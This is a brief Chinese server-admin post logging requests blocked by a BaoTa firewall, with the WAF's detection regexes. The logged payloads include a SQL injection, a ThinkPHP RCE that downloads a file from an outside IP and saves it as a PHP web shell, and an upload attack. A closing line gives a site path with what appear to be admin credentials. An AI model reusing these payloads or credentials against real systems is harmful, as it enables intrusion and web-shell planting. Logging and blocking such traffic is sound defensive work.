服务器宝塔入侵记录 防火墙链接 这些都是软件扫的
类型 GET 过滤器 args
URI地址
/webservice/get_usedspace.php?site_id＝-1159%20UNION%20ALL%20SELECT%20MD5(5200172853)--
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
过滤规则
(?:(union(.*?)select))
传入值
site_id:-1159 UNION ALL SELECT MD5(5200172853)--
风险值
UNION ALL SELECT
类型 GET 过滤器 args
URI地址
/?s＝index/think%5Capp/invokefunction&function＝call_user_func_array&vars%5B0%5D＝copy&vars%5B1%5D%5B%5D＝http://61.147.93.58:8888/down/W3kmfQKBexjv&vars%5B1%5D%5B%5D＝.admin_cc.php
User-Agent
python-requests/2.24.0
过滤规则
(invokefunction|call_user_func_array|\\think\\)
传入值
function:call_user_func_array
风险值
call_user_func_array
类型 POST 过滤器 post
URI地址
//index.php?s＝/admin/upload/uploadfile
User-Agent
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.9 Safari/537.36
过滤规则
http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22
类型 POST 过滤器 post
URI地址
//?s＝captcha&test＝-1
User-Agent
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
过滤规则
拦截ThinkPHP 5.x RCE 攻击,并且被封锁IP
yanhanmetals.com/147.php admin Aa147258
